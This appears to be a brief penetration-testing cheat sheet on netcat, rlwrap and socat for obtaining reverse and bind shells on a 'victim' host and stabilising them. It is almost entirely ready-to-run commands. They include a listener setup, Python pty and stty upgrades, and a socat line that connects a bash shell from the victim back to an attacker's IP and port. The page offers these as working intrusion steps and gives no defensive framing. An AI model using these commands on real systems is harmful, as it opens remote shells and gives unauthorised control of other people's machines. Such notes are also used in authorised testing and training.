🐱Netcat

Installation

sudo apt-get install netcat-openbsd

Reverse Shell

  1. Generate a shell from Revshells

  2. Upload it to the target

  3. Start a listener with: nc -lvnp PORT

  4. Execute shell on victim

Bind Shell

  1. On the target, run nc -lvnp PORT

  2. Start a listener on your machine using nc IP PORT

RLWrap: You can use rlwrap to have a better shell experience

sudo apt-get install rlwrap
rlwrap nc -lvnp 4444

Stabalising Shells

Python
# Basic
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

# Interactive
python3 -c 'import pty;pty.spawn("/bin/bash")'
# CTRL + Z to send task to background
stty raw -echo; fg
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116
Socat
# Start Listener (Kali)
socat file:`tty`,raw,echo=0 tcp-listen:PORT

# Connect Back (Victim)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORT

Last updated